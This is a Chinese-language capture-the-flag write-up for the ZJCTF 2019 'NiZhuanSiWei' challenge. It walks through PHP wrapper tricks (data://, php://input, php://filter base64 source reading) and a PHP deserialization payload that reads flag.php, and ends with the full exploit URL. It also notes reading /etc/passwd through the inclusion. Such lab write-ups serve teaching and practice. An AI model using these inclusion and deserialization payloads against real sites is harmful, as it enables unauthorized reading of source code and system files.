[ZJCTF 2019]NiZhuanSiWei
本题考点:
- php 反序列化
- php 伪协议
php 伪协议的利用条件及方式
# 第一个绕过:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")) |
这里需要我们传入一个文件且其内容为 welcome to the zjctf。data 协议通常是用来执行 PHP 代码,然而我们也可以将内容写入 data 协议中然后让 file_get_contents 函数取读取。构造如下:
text=data://text/plain;base64,dGVzdDY2Ng== |
或者使用 input 协议,发送 post
text=php://input |
# 第二个绕过:
$file = $_GET["file"]; | |
if(preg_match("/flag/",$file)){ | |
echo "Not now!"; | |
exit(); | |
}else{ | |
include($file); //useless.php | |
$password = unserialize($password); | |
echo $password; | |
} |
这里有 file 参数可控,但是无法直接读取 flag,可以直接读取 /etc/passwd,但针对 php 文件我们需要进行 base64 编码,否则读取不到其内容,所以以下无法使用:
file=useless.php |
所以下面采用 filter 来读源码,但上面提到过针对 php 文件需要 base64 编码,所以使用其自带的 base64 过滤器。
php://filter/read=convert.base64-encode/resource=useless.php |
读到的 useless.php 内容如下:
<?php | |
class Flag{ //flag.php | |
public $file; | |
public function __tostring(){ | |
if(isset($this->file)){ | |
echo file_get_contents($this->file); | |
echo "<br>"; | |
return ("U R SO CLOSE !///COME ON PLZ"); | |
} | |
} | |
} | |
?> |
# 第三个绕过:
$password = $_GET["password"]; | |
include($file); //useless.php | |
$password = unserialize($password); | |
echo $password; |
这里的 file 是我们可控的,所以在本地测试后有执行下面代码即可出现 payload:
<?php | |
class Flag{ //flag.php | |
public $file; | |
public function __tostring(){ | |
if(isset($this->file)){ | |
echo file_get_contents($this->file); | |
echo "<br>"; | |
return ("U R SO CLOSE !///COME ON PLZ"); | |
} | |
} | |
} | |
$a = new Flag(); | |
$a -> file = 'flag.php'; | |
echo serialize($a); | |
?> | |
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
最终 payload
/?text=php://input&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;} |
post 数据为:
welcome to the zjctf |